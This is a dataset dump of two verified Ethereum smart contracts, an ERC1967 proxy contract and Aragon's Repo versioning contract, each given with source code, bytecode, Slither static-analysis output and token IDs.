Unnamed: 0
int64
0
60k
address
stringlengths
42
42
source_code
stringlengths
52
864k
bytecode
stringlengths
2
49.2k
slither
stringlengths
47
956
success
bool
1 class
error
float64
results
stringlengths
2
911
input_ids
sequencelengths
128
128
attention_mask
sequencelengths
128
128
58,800
0x95b8b51cfe0a238046d72cf1c050d4603bbd121d
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract CocaCola{ // Coca-Cola bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "Address Errors"); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } // _______ _______ _______ ______ _______ _______ _______ ______ __ __ // / _____ \ / ____ \ / _____ \ .` _ ._| / _____ \ / ____ \ /______ \ .` _ ._| .' '' '. // | \ / | | /___/ | | \ / | \ \_||_ | \ / | | /___/ | / | \ \_||_ | () () | // \_/ \_/ \_______/ \_/ \_/ `._____| \_/ \_/ \_______/ \_| `._____| '.__..__.' function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } function _beforeFallback() internal virtual {} receive() external payable virtual { _fallback(); } fallback() external payable virtual { _fallback(); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } }
0x60806040523661001357610011610017565b005b6100115b61004a7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031661008a565b565b6001600160a01b03163b151590565b90565b60606100838383604051806060016040528060278152602001610249602791396100ae565b9392505050565b3660008037600080366000845af43d6000803e8080156100a9573d6000f35b3d6000fd5b60606001600160a01b0384163b61011b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b03168560405161013691906101c9565b600060405180830381855af49150503d8060008114610171576040519150601f19603f3d011682016040523d82523d6000602084013e610176565b606091505b5091509150610186828286610190565b9695505050505050565b6060831561019f575081610083565b8251156101af5782518084602001fd5b8160405162461bcd60e51b815260040161011291906101e5565b600082516101db818460208701610218565b9190910192915050565b6020815260008251806020840152610204816040850160208701610218565b601f01601f19169190910160400192915050565b60005b8381101561023357818101518382015260200161021b565b83811115610242576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212206c63656619f1aa7fa1626c3b2d08fd4baa8ede9005b2276bc616976296a3735d64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2497, 2620, 2497, 22203, 2278, 7959, 2692, 2050, 21926, 17914, 21472, 2094, 2581, 2475, 2278, 2546, 2487, 2278, 2692, 12376, 2094, 21472, 2692, 2509, 10322, 2094, 12521, 2487, 2094, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1030, 2330, 4371, 27877, 2378, 1013, 8311, 1013, 21183, 12146, 1013, 5527, 14540, 4140, 1012, 14017, 1000, 1025, 3206, 16787, 26289, 1063, 1013, 1013, 16787, 1011, 15270, 27507, 16703, 4722, 5377, 3145, 1027, 1014, 2595, 21619, 2692, 2620, 2683, 2549, 27717, 2509, 3676, 2487, 2050, 16703, 10790, 28756, 2581, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,801
0x95b9067d07d6c96a63a3119285b0aa6092e32a4b
//File: contracts/acl/IACL.sol pragma solidity ^0.4.18; interface IACL { function initialize(address permissionsCreator) public; function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); } //File: contracts/kernel/IKernel.sol pragma solidity ^0.4.18; interface IKernel { event SetApp(bytes32 indexed namespace, bytes32 indexed name, bytes32 indexed id, address app); function acl() public view returns (IACL); function hasPermission(address who, address where, bytes32 what, bytes how) public view returns (bool); function setApp(bytes32 namespace, bytes32 name, address app) public returns (bytes32 id); function getApp(bytes32 id) public view returns (address); } //File: contracts/apps/AppStorage.sol pragma solidity ^0.4.18; contract AppStorage { IKernel public kernel; bytes32 public appId; address internal pinnedCode; // used by Proxy Pinned uint256 internal initializationBlock; // used by Initializable uint256[95] private storageOffset; // forces App storage to start at after 100 slots uint256 private offset; } //File: contracts/common/Initializable.sol pragma solidity ^0.4.18; contract Initializable is AppStorage { modifier onlyInit { require(initializationBlock == 0); _; } /** * @return Block number in which the contract was initialized */ function getInitializationBlock() public view returns (uint256) { return initializationBlock; } /** * @dev Function to be called by top level contract after initialization has finished. */ function initialized() internal onlyInit { initializationBlock = getBlockNumber(); } /** * @dev Returns the current block number. * Using a function rather than `block.number` allows us to easily mock the block number in * tests. */ function getBlockNumber() internal view returns (uint256) { return block.number; } } //File: contracts/evmscript/IEVMScriptExecutor.sol pragma solidity ^0.4.18; interface IEVMScriptExecutor { function execScript(bytes script, bytes input, address[] blacklist) external returns (bytes); } //File: contracts/evmscript/IEVMScriptRegistry.sol pragma solidity 0.4.18; contract EVMScriptRegistryConstants { bytes32 constant public EVMSCRIPT_REGISTRY_APP_ID = keccak256("evmreg.aragonpm.eth"); bytes32 constant public EVMSCRIPT_REGISTRY_APP = keccak256(keccak256("app"), EVMSCRIPT_REGISTRY_APP_ID); } interface IEVMScriptRegistry { function addScriptExecutor(address executor) external returns (uint id); function disableScriptExecutor(uint256 executorId) external; function getScriptExecutor(bytes script) public view returns (address); } //File: contracts/evmscript/ScriptHelpers.sol pragma solidity 0.4.18; library ScriptHelpers { // To test with JS and compare with actual encoder. Maintaining for reference. // t = function() { return IEVMScriptExecutor.at('0x4bcdd59d6c77774ee7317fc1095f69ec84421e49').contract.execScript.getData(...[].slice.call(arguments)).slice(10).match(/.{1,64}/g) } // run = function() { return ScriptHelpers.new().then(sh => { sh.abiEncode.call(...[].slice.call(arguments)).then(a => console.log(a.slice(2).match(/.{1,64}/g)) ) }) } // This is truly not beautiful but lets no daydream to the day solidity gets reflection features function abiEncode(bytes _a, bytes _b, address[] _c) public pure returns (bytes d) { return encode(_a, _b, _c); } function encode(bytes memory _a, bytes memory _b, address[] memory _c) internal pure returns (bytes memory d) { // A is positioned after the 3 position words uint256 aPosition = 0x60; uint256 bPosition = aPosition + 32 * abiLength(_a); uint256 cPosition = bPosition + 32 * abiLength(_b); uint256 length = cPosition + 32 * abiLength(_c); d = new bytes(length); assembly { // Store positions mstore(add(d, 0x20), aPosition) mstore(add(d, 0x40), bPosition) mstore(add(d, 0x60), cPosition) } // Copy memory to correct position copy(d, getPtr(_a), aPosition, _a.length); copy(d, getPtr(_b), bPosition, _b.length); copy(d, getPtr(_c), cPosition, _c.length * 32); // 1 word per address } function abiLength(bytes memory _a) internal pure returns (uint256) { // 1 for length + // memory words + 1 if not divisible for 32 to offset word return 1 + (_a.length / 32) + (_a.length % 32 > 0 ? 1 : 0); } function abiLength(address[] _a) internal pure returns (uint256) { // 1 for length + 1 per item return 1 + _a.length; } function copy(bytes _d, uint256 _src, uint256 _pos, uint256 _length) internal pure { uint dest; assembly { dest := add(add(_d, 0x20), _pos) } memcpy(dest, _src, _length + 32); } function getPtr(bytes memory _x) internal pure returns (uint256 ptr) { assembly { ptr := _x } } function getPtr(address[] memory _x) internal pure returns (uint256 ptr) { assembly { ptr := _x } } function getSpecId(bytes _script) internal pure returns (uint32) { return uint32At(_script, 0); } function uint256At(bytes _data, uint256 _location) internal pure returns (uint256 result) { assembly { result := mload(add(_data, add(0x20, _location))) } } function addressAt(bytes _data, uint256 _location) internal pure returns (address result) { uint256 word = uint256At(_data, _location); assembly { result := div(and(word, 0xffffffffffffffffffffffffffffffffffffffff000000000000000000000000), 0x1000000000000000000000000) } } function uint32At(bytes _data, uint256 _location) internal pure returns (uint32 result) { uint256 word = uint256At(_data, _location); assembly { result := div(and(word, 0xffffffff00000000000000000000000000000000000000000000000000000000), 0x100000000000000000000000000000000000000000000000000000000) } } function locationOf(bytes _data, uint256 _location) internal pure returns (uint256 result) { assembly { result := add(_data, add(0x20, _location)) } } function toBytes(bytes4 _sig) internal pure returns (bytes) { bytes memory payload = new bytes(4); payload[0] = bytes1(_sig); payload[1] = bytes1(_sig << 8); payload[2] = bytes1(_sig << 16); payload[3] = bytes1(_sig << 24); return payload; } function memcpy(uint _dest, uint _src, uint _len) public pure { uint256 src = _src; uint256 dest = _dest; uint256 len = _len; // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } //File: contracts/evmscript/EVMScriptRunner.sol pragma solidity ^0.4.18; contract EVMScriptRunner is AppStorage, EVMScriptRegistryConstants { using ScriptHelpers for bytes; function runScript(bytes _script, bytes _input, address[] _blacklist) protectState internal returns (bytes output) { // TODO: Too much data flying around, maybe extracting spec id here is cheaper address executorAddr = getExecutor(_script); require(executorAddr != address(0)); bytes memory calldataArgs = _script.encode(_input, _blacklist); bytes4 sig = IEVMScriptExecutor(0).execScript.selector; require(executorAddr.delegatecall(sig, calldataArgs)); return returnedDataDecoded(); } function getExecutor(bytes _script) public view returns (IEVMScriptExecutor) { return IEVMScriptExecutor(getExecutorRegistry().getScriptExecutor(_script)); } // TODO: Internal function getExecutorRegistry() internal view returns (IEVMScriptRegistry) { address registryAddr = kernel.getApp(EVMSCRIPT_REGISTRY_APP); return IEVMScriptRegistry(registryAddr); } /** * @dev copies and returns last's call data. Needs to ABI decode first */ function returnedDataDecoded() internal view returns (bytes ret) { assembly { let size := returndatasize switch size case 0 {} default { ret := mload(0x40) // free mem ptr get mstore(0x40, add(ret, add(size, 0x20))) // free mem ptr set returndatacopy(ret, 0x20, sub(size, 0x20)) // copy return data } } return ret; } modifier protectState { address preKernel = kernel; bytes32 preAppId = appId; _; // exec require(kernel == preKernel); require(appId == preAppId); } } //File: contracts/acl/ACLSyntaxSugar.sol pragma solidity 0.4.18; contract ACLSyntaxSugar { function arr() internal pure returns (uint256[] r) {} function arr(bytes32 _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(bytes32 _a, bytes32 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a) internal pure returns (uint256[] r) { return arr(uint256(_a)); } function arr(address _a, address _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), _b, _c); } function arr(address _a, uint256 _b) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b)); } function arr(address _a, address _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), _c, _d, _e); } function arr(address _a, address _b, address _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(address _a, address _b, uint256 _c) internal pure returns (uint256[] r) { return arr(uint256(_a), uint256(_b), uint256(_c)); } function arr(uint256 _a) internal pure returns (uint256[] r) { r = new uint256[](1); r[0] = _a; } function arr(uint256 _a, uint256 _b) internal pure returns (uint256[] r) { r = new uint256[](2); r[0] = _a; r[1] = _b; } function arr(uint256 _a, uint256 _b, uint256 _c) internal pure returns (uint256[] r) { r = new uint256[](3); r[0] = _a; r[1] = _b; r[2] = _c; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d) internal pure returns (uint256[] r) { r = new uint256[](4); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; } function arr(uint256 _a, uint256 _b, uint256 _c, uint256 _d, uint256 _e) internal pure returns (uint256[] r) { r = new uint256[](5); r[0] = _a; r[1] = _b; r[2] = _c; r[3] = _d; r[4] = _e; } } contract ACLHelpers { function decodeParamOp(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 30)); } function decodeParamId(uint256 _x) internal pure returns (uint8 b) { return uint8(_x >> (8 * 31)); } function decodeParamsList(uint256 _x) internal pure returns (uint32 a, uint32 b, uint32 c) { a = uint32(_x); b = uint32(_x >> (8 * 4)); c = uint32(_x >> (8 * 8)); } } //File: contracts/apps/AragonApp.sol pragma solidity ^0.4.18; contract AragonApp is AppStorage, Initializable, ACLSyntaxSugar, EVMScriptRunner { modifier auth(bytes32 _role) { require(canPerform(msg.sender, _role, new uint256[](0))); _; } modifier authP(bytes32 _role, uint256[] params) { require(canPerform(msg.sender, _role, params)); _; } function canPerform(address _sender, bytes32 _role, uint256[] params) public view returns (bool) { bytes memory how; // no need to init memory as it is never used if (params.length > 0) { uint256 byteLength = params.length * 32; assembly { how := params // forced casting mstore(how, byteLength) } } return address(kernel) == 0 || kernel.hasPermission(_sender, address(this), _role, how); } } //File: contracts/apm/Repo.sol pragma solidity ^0.4.15; contract Repo is AragonApp { struct Version { uint16[3] semanticVersion; address contractAddress; bytes contentURI; } Version[] versions; mapping (bytes32 => uint256) versionIdForSemantic; mapping (address => uint256) latestVersionIdForContract; bytes32 constant public CREATE_VERSION_ROLE = bytes32(1); event NewVersion(uint256 versionId, uint16[3] semanticVersion); /** * @notice Create new version for repo * @param _newSemanticVersion Semantic version for new repo version * @param _contractAddress address for smart contract logic for version (if set to 0, it uses last versions' contractAddress) * @param _contentURI External URI for fetching new version's content */ function newVersion( uint16[3] _newSemanticVersion, address _contractAddress, bytes _contentURI ) auth(CREATE_VERSION_ROLE) public { address contractAddress = _contractAddress; if (versions.length > 0) { Version storage lastVersion = versions[versions.length - 1]; require(isValidBump(lastVersion.semanticVersion, _newSemanticVersion)); if (contractAddress == 0) { contractAddress = lastVersion.contractAddress; } // Only allows smart contract change on major version bumps require(lastVersion.contractAddress == contractAddress || _newSemanticVersion[0] > lastVersion.semanticVersion[0]); } else { versions.length += 1; uint16[3] memory zeroVersion; require(isValidBump(zeroVersion, _newSemanticVersion)); } uint versionId = versions.push(Version(_newSemanticVersion, contractAddress, _contentURI)) - 1; versionIdForSemantic[semanticVersionHash(_newSemanticVersion)] = versionId; latestVersionIdForContract[contractAddress] = versionId; NewVersion(versionId, _newSemanticVersion); } function getLatest() public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { return getByVersionId(versions.length - 1); } function getLatestForContractAddress(address _contractAddress) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { return getByVersionId(latestVersionIdForContract[_contractAddress]); } function getBySemanticVersion(uint16[3] _semanticVersion) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { return getByVersionId(versionIdForSemantic[semanticVersionHash(_semanticVersion)]); } function getByVersionId(uint _versionId) public view returns (uint16[3] semanticVersion, address contractAddress, bytes contentURI) { require(_versionId > 0); Version storage version = versions[_versionId]; return (version.semanticVersion, version.contractAddress, version.contentURI); } function getVersionsCount() public view returns (uint256) { uint256 len = versions.length; return len > 0 ? len - 1 : 0; } function isValidBump(uint16[3] _oldVersion, uint16[3] _newVersion) public pure returns (bool) { bool hasBumped; uint i = 0; while (i < 3) { if (hasBumped) { if (_newVersion[i] != 0) { return false; } } else if (_newVersion[i] != _oldVersion[i]) { if (_oldVersion[i] > _newVersion[i] || _newVersion[i] - _oldVersion[i] != 1) { return false; } hasBumped = true; } i++; } return hasBumped; } function semanticVersionHash(uint16[3] version) internal pure returns (bytes32) { return keccak256(version[0], version[1], version[2]); } }
0x6060604052600436106100c15763ffffffff60e060020a6000350416634c3ba26881146100c657806360b1e057146101b957806373053410146101de578063737e7d4f1461026757806380afdea81461027d5780638b3dd749146102905780639a6fe50c146102a35780639b3fdf4c146102c2578063a1658fad146102d5578063a7bdf16e1461034c578063aa61924a146103ad578063c36af460146103c0578063c6d48e0d146103d3578063d4aae0c4146103e6578063f92a79ff14610415575b600080fd5b34156100d157600080fd5b6100ff6004606481600360606040519081016040529190828260608082843750939550610466945050505050565b6040518084606080838360005b8381101561012457808201518382015260200161010c565b5050505090500183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561017c578082015183820152602001610164565b50505050905090810190601f1680156101a95780820380516001836020036101000a031916815260200191505b5094505050505060405180910390f35b34156101c457600080fd5b6101cc6104ab565b60405190815260200160405180910390f35b34156101e957600080fd5b61026560046064816003606060405190810160405291908282606080828437509395600160a060020a038635169590945060408082019450602091820135860180830194503592508291601f8301819004810201905190810160405281815292919060208401838380828437509496506104df95505050505050565b005b341561027257600080fd5b6100ff60043561079d565b341561028857600080fd5b6101cc6108ff565b341561029b57600080fd5b6101cc610905565b34156102ae57600080fd5b6100ff600160a060020a036004351661090c565b34156102cd57600080fd5b6101cc610940565b34156102e057600080fd5b61033860048035600160a060020a03169060248035919060649060443590810190830135806020808202016040519081016040528093929190818152602001838360200280828437509496506109bc95505050505050565b604051901515815260200160405180910390f35b341561035757600080fd5b610338600460648160036060604051908101604052919082826060808284378201915050505050919080606001906003806020026040519081016040529190828260608082843750939550610afa945050505050565b34156103b857600080fd5b6101cc610be9565b34156103cb57600080fd5b6100ff610bee565b34156103de57600080fd5b6101cc610c1b565b34156103f157600080fd5b6103f9610c3b565b604051600160a060020a03909116815260200160405180910390f35b341561042057600080fd5b6103f960046024813581810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610c4a95505050505050565b61046e610e51565b6000610478610e79565b61049e6065600061048887610d26565b815260208101919091526040016000205461079d565b9250925092509193909250565b6040517f65766d7265672e617261676f6e706d2e657468000000000000000000000000008152601301604051809103902081565b6000806104ea610e51565b600060016105173382846040518059106105015750595b90808252806020026020018201604052506109bc565b151561052257600080fd5b606454879550600090111561061a5760648054600019810190811061054357fe5b906000526020600020906003020193506105b784600001600380602002604051908101604052919060608301826000855b82829054906101000a900461ffff1661ffff1681526020019060020190602082600101049283019260010382029150808411610574579050505050505089610afa565b15156105c257600080fd5b600160a060020a03851615156105e3576001840154600160a060020a031694505b6001840154600160a060020a038681169116148061060a5750835461ffff16885161ffff16115b151561061557600080fd5b610642565b606480546001019061062c9082610e8b565b506106378389610afa565b151561064257600080fd5b6001606480548060010182816106589190610e8b565b91600052602060002090600302016000606060405190810160409081528d8252600160a060020a038b16602083015281018b9052919050815161069e9082906003610ebc565b50602082015160018201805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03929092169190911790556040820151816002019080516106ed929160200190610f4e565b50505003915081606560006107018b610d26565b81526020808201929092526040908101600090812093909355600160a060020a03881683526066909152908190208390557e3aea8189d1a0aa3ebdb05219cd4c2a663166706e949e9d6e8aa63718ca43fd9083908a90518281526020810182606080838360005b83811015610780578082015183820152602001610768565b505050509050019250505060405180910390a15050505050505050565b6107a5610e51565b60006107af610e79565b60008085116107bd57600080fd5b60648054869081106107cb57fe5b90600052602060002090600302019050806000018160010160009054906101000a9004600160a060020a03168260020182600380602002604051908101604052919060608301826000855b82829054906101000a900461ffff1661ffff168152602001906002019060208260010104928301926001038202915080841161081657905050505050509250808054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108ea5780601f106108bf576101008083540402835291602001916108ea565b820191906000526020600020905b8154815290600101906020018083116108cd57829003601f168201915b50505050509050935093509350509193909250565b60015481565b6003545b90565b610914610e51565b600061091e610e79565b600160a060020a03841660009081526066602052604090205461049e9061079d565b6040517f6170700000000000000000000000000000000000000000000000000000000000815260030160405180910390206040517f65766d7265672e617261676f6e706d2e6574680000000000000000000000000081526013016040518091039020604051918252602082015260409081019051809103902081565b60006109c6610e79565b600080845111156109df57835160200290508391508082525b600054600160a060020a03161580610af0575060008054600160a060020a03169063fdef91069088903090899087906040516020015260405160e060020a63ffffffff8716028152600160a060020a0380861660048301908152908516602483015260448201849052608060648301908152909160840183818151815260200191508051906020019080838360005b83811015610a86578082015183820152602001610a6e565b50505050905090810190601f168015610ab35780820380516001836020036101000a031916815260200191505b5095505050505050602060405180830381600087803b1515610ad457600080fd5b6102c65a03f11515610ae557600080fd5b505050604051805190505b9695505050505050565b600080805b6003811015610bdd578115610b3657838160038110610b1a57fe5b602002015161ffff1615610b315760009250610be1565b610bd5565b848160038110610b4257fe5b602002015161ffff16848260038110610b5757fe5b602002015161ffff1614610bd557838160038110610b7157fe5b602002015161ffff16858260038110610b8657fe5b602002015161ffff161180610bc25750848160038110610ba257fe5b6020020151848260038110610bb357fe5b60200201510361ffff16600114155b15610bd05760009250610be1565b600191505b600101610aff565b8192505b505092915050565b600181565b610bf6610e51565b6000610c00610e79565b606454610c10906000190161079d565b925092509250909192565b606454600090818111610c2f576000610c34565b600181035b91505b5090565b600054600160a060020a031681565b6000610c54610d85565b600160a060020a03166304bf2a7f836000604051602001526040518263ffffffff1660e060020a0281526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610cbb578082015183820152602001610ca3565b50505050905090810190601f168015610ce85780820380516001836020036101000a031916815260200191505b5092505050602060405180830381600087803b1515610d0657600080fd5b6102c65a03f11515610d1757600080fd5b50505060405180519392505050565b60008151602083015160408401516040517e0100000000000000000000000000000000000000000000000000000000000061ffff9485168102825292841683026002820152921602600482015260060160405180910390209050919050565b600080548190600160a060020a03166342c71f1d6040517f6170700000000000000000000000000000000000000000000000000000000000815260030160405180910390206040517f65766d7265672e617261676f6e706d2e6574680000000000000000000000000081526013016040518091039020604051918252602082015260409081019051809103902060006040516020015260405160e060020a63ffffffff84160281526004810191909152602401602060405180830381600087803b1515610d0657600080fd5b60606040519081016040526003815b600081526000199091019060200181610e605790505090565b6020604051908